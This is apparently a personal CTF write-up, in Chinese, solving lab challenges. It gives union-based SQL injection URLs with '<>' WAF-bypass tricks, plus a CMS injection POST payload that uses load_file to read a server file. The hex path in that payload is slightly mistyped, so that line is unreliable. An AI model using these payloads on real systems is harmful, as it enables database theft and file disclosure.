SQL
题目地址:http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1
打开连接,页面显示的是:
flag{在数据库中}
找到注入点
使用burp查看网页的源代码,发现:1
<!--SELECT * FROM info WHERE id=1--><br />flag{在数据库中}<br /><br />
提示如上,说明这是一道SQL注入的题目了。
首先通过测试判断,SQL注入的过滤情况。
输入or
、and
、union
,发现都能够正常使用使用,输入select
则提示inj code!,说明select是直接被PHP代码过滤了。
然后尝试使用大小写混合的方式来进行绕过,当输入?id=2 SelsElEcTect
的方式混合select时页面出现405,说明在网站的后台有WAF的存在。
最后尝试看看特殊字符的情况,特殊字符有!@#$%^&*()_+-=<>?/|~
.最后进行测试发现使用<>
可以被替换为空。
然后尝试使用<>
和select
的混合进行绕过。1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=sele%3C%3Ect
页面上没有出现任何的提示,后台显示<!--SELECT * FROM info WHERE id=select-->
,说明绕过了后台的检测和WAF。
找到flag
在or
和select
可以用的情况下就是传统的注入方法,具体可以参考SQL注入入门(二)
得到字段总数:1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=1 o<>rder by 3
得到字段数是3
得到显示位:1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,2,3
得到显示位是2
得到当前数据库的表:1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
在当前的数据库中仅仅只存在一个表info
得到info表中的字段:1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schema.columns where table_name=0x696e666f
发现有WAF。这个就比较奇怪了,之前的SQL注入语句都没有,到这个地方就有了。但是以为在这个地方又要使用什么奇技淫巧,后来才发现是我想多了。直接将information_schema
变为information_schem<>a
就可绕过WAF。1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(column_name),3 from information_schem<>a.columns where table_name=0x696e666f
得到字段名称是id,title,flAg_T5ZNdrm
提取数据
找到flag的位置之后,就可以提取数据得到flag。1
http://9fb415bb7167473eb3645f73ee47d3a3581b58bc45ed4964.game.ichunqiu.com/index.php?id=-2 union sele<>ct 1,group_concat(flAg_T5ZNdrm),3 from info
最后得到的flag为flag{d152ec60-5d5c-462a-8236-73755f7cd27d}
再见CMS
题目链接:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/
题目提示:
这里还是有一个小脑洞
一遇到这种真正需要渗透测试的题目,就完全不会了。这篇文章还是看了别人的writeup写出来的。
进入网站,发现是一个cms系统,当然具体是什么cms系统,这个就需要看大家的能耐了。
我在网上找到了一个在线cms识别系统,经过识别是php168。php168就是齐博cms的前身,在网上找到齐博cms系统的漏洞,齐博整站/地方门户SQL注入漏洞。
这个漏洞主要就是在修改个人信息的页面存在一个SQL注入的漏洞,通过文章中的提示,注入:1
2URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2
POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
查看个人主页就可以看到当前的用户信息,如下:
但是目前还是无法得到flag。后来才知道flag是位于/var/www/html/flag.php
中,使用sql中的load_file来读取文件的内容,最终的flag的语句为:1
2URL:http://964d6a26b96641f58570168c092c3592ebba9c92af094aae.game.ichunqiu.com/member/userinfo.php?job=edit&step=2
POST_data:old_password=monkey123456&truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(load_file(0x2f7661722f7777772f68742c6c2f666c61672e706870)) where uid=3%23
这样就可以得到flag了
XSS平台
看了这个题目的writeup,看来需要了解tarnado和xss平台相关的概念了。
这道题目等搞清楚了这2个问题再来补充这个题目的解答。
总结
发现自己在代码审计和渗透测试方面的能力还是比较弱,一遇到这样的题目就抓虾了,这方面还需要多多加强。下一步要多分析漏洞,都进行调试。
参考
在线cms识别:http://whatweb.bugscaner.com/look/#即将上线
齐博整站/地方门户SQL注入漏洞:http://bobao.360.cn/snapshot/index?id=10420